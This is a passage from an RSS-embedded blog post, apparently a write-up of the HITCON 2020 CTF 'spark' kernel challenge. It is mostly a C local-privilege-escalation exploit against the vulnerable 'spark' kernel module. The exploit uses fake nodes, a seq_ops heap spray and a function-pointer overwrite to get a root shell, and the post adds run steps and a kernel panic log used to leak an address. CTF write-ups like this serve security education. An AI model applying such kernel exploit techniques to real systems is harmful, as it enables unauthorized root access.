    fake_node_2-&amp;gt;bk = (spark_link_t*)&amp;amp;fake_node_2-&amp;gt;bk;
    fake_node_2-&amp;gt;fd = (spark_link_t*)&amp;amp;fake_node_2;
  } else {
    uaf_fake_node_data-&amp;gt;ref_cnt = 1;
  }
  send_msg(1, msg_mem, 0x1000 - 48 + 0x80 - 8, 1);

  puts(&amp;#34;[*] Put fake node to node_tables&amp;#34;);
  vuln_dev_finalize(fds[0]);

  puts(&amp;#34;[*] Modify nodes...&amp;#34;);
  fake_node_1-&amp;gt;bk = (spark_link_t*)fake_link_3;
  fake_node_1-&amp;gt;fd = (spark_link_t*)fake_link_3;
  fake_link_3-&amp;gt;bk = (spark_link_t*)&amp;amp;fake_node_1-&amp;gt;bk;
  fake_link_3-&amp;gt;fd = (spark_link_t*)&amp;amp;fake_node_1-&amp;gt;bk;
  fake_link_3-&amp;gt;target = fake_node_2;
  fake_link_3-&amp;gt;weight = (uint64_t)get_root_shell;
  fake_node_2-&amp;gt;idx_in_table = 4;

  puts(&amp;#34;[*] Spraying seq_ops...&amp;#34;);
  int seq_ops_spray[100];
  for (int i = 0; i &amp;lt; sizeof(seq_ops_spray) / 4; ++i) {
    seq_ops_spray[i] = open(&amp;#34;/proc/self/stat&amp;#34;, O_RDONLY);
  }
  close(seq_ops_spray[0]);

  if (fake_node_1-&amp;gt;idx_in_table != 0) {
    puts(&amp;#34;[+] Success to build fake node&amp;#34;);
  } else {
    puts(&amp;#34;[-] Failed to build fake node&amp;#34;);
    return -1;
  }

  int new_nodes[4];
  for (int i = 0; i &amp;lt; sizeof(new_nodes) / 4; ++i) {
    new_nodes[i] = open(VULN_DEV_NAME, O_RDONLY);
    if (i != 0) {
      vuln_dev_link(new_nodes[i - 1], new_nodes[i], 0x100 + i);
    }
  }
  vuln_dev_finalize(new_nodes[3]);

  puts(&amp;#34;[*] Trigger OOB and overwrite seq_ops&amp;#34;);
  vuln_dev_query(fds[0], new_nodes[1], new_nodes[0]);

  puts(&amp;#34;[*] ACE!!&amp;#34;);
  for (int i = 0; i &amp;lt; sizeof(seq_ops_spray) / 4; ++i) {
    char buf[1];
    read(seq_ops_spray[i], buf, 1);
  }

  memset(fake_mem, 0, 0x1000);

  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;To get a root shell, we need to execute the exploit program twice:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Run the program without any arguments.&lt;/li&gt;
&lt;li&gt;Run the program with value of kernel&amp;rsquo;s R12 register shown by kernel panic.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;For example, after executing this program without any arguments, the kernel panic occurs and its information is printed as following:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-plaintext&#34; data-lang=&#34;plaintext&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.936674] BUG: kernel NULL pointer dereference, address: 0000000000000010
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.937311] #PF: supervisor read access in kernel mode
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.937974] #PF: error_code(0x0000) - not-present page
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.938416] PGD de07067 P4D de07067 PUD de06067 PMD 0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.939092] Oops: 0000 [#1] SMP NOPTI
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.939439] CPU: 0 PID: 123 Comm: exploit Tainted: G            E     5.9.11 #1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.939824] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.940679] RIP: 0010:traversal+0x52/0x110 [spark]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.941182] Code: c0 75 77 48 8d 50 01 49 89 16 49 89 44 24 70 49 8b 36 49 3b 76 08 0f 84 81 00 00 00 49 8b 5c 24 60 49 83 c4 60 0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.942692] RSP: 0018:ffffc900001d7e10 EFLAGS: 00000207
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.943401] RAX: ffff88800ddcaf20 RBX: 0000000000000000 RCX: 00000000000008d3
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.943929] RDX: 00000000000008d2 RSI: c1f7a9928c6ca877 RDI: 0000000000031060
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.944350] RBP: ffffc900001d7e38 R08: ffffc900001d7d98 R09: 0000000000000000
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.944940] R10: 0000000000000000 R11: 0000000000000000 R12: ffff88800dd4fb60
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.945509] R13: ffff88800dd4fb00 R14: ffff88800ddcaf80 R15: ffff88800dd4fb10
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.946147] FS:  0000000001787380(0000) GS:ffff88800f600000(0000) knlGS:0000000000000000
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.946744] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.947116] CR2: 0000000000000010 CR3: 000000000de04000 CR4: 00000000000006f0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.947932] Call Trace:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.948909]  traversal+0xa0/0x110 [spark]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.949412]  spark_node_finalize+0x83/0xb0 [spark]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.949769]  node_ioctl+0x136/0x250 [spark]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.949977]  ? tomoyo_file_ioctl+0x19/0x20
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.950249]  __x64_sys_ioctl+0x96/0xd0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.950477]  do_syscall_64+0x37/0x80
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.950819]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.951459] RIP: 0033:0x423d3d
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.951794] Code: 04 25 28 00 00 00 48 89 45 c8 31 c0 48 8d 45 10 c7 45 b0 10 00 00 00 48 89 45 b8 48 8d 45 d0 48 89 45 c0 b8 10 0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.953022] RSP: 002b:00007fff9334fb60 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.953536] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 0000000000423d3d
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.954020] RDX: 0000000000000000 RSI: 000000000000d902 RDI: 0000000000000003
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.954957] RBP: 00007fff9334fbb0 R08: 0000000000000001 R09: 0000000000000000
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.955548] R10: 0000000000000000 R11: 0000000000000246 R12: 00007fff9334ff18
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.956501] R13: 00007fff9334ff28 R14: 00000000004ae868 R15: 0000000000000001
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.957217] Modules linked in: spark(E)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.957834] CR2: 0000000000000010
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.958602] ---[ end trace c0dd566a19a98686 ]---
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.958973] RIP: 0010:traversal+0x52/0x110 [spark]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.959299] Code: c0 75 77 48 8d 50 01 49 89 16 49 89 44 24 70 49 8b 36 49 3b 76 08 0f 84 81 00 00 00 49 8b 5c 24 60 49 83 c4 60 0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.960089] RSP: 0018:ffffc900001d7e10 EFLAGS: 00000207
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.960471] RAX: ffff88800ddcaf20 RBX: 0000000000000000 RCX: 00000000000008d3
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.961083] RDX: 00000000000008d2 RSI: c1f7a9928c6ca877 RDI: 0000000000031060
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.961918] RBP: ffffc900001d7e38 R08: ffffc900001d7d98 R09: 0000000000000000
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.962316] R10: 0000000000000000 R11: 0000000000000000 R12: ffff88800dd4fb60
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.962646] R13: ffff88800dd4fb00 R14: ffff88800ddcaf80 R15: ffff88800dd4fb10
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.963020] FS:  0000000001787380(0000) GS:ffff88800f600000(0000) knlGS:0000000000000000
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.963489] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.963832] CR2: 0000000000000010 CR3: 000000000de04000 CR4: 00000000000006f0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Killed
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then, execute the program with &lt;code&gt;ffff88800dd4fb60&lt;/code&gt; (its R12 value of printed panic information).&lt;/p&gt;
&lt;h2 id=&#34;reference&#34;&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/HITCON/2020/spark&#34;&gt;https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/HITCON/2020/spark&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
  </channel>
</rss>
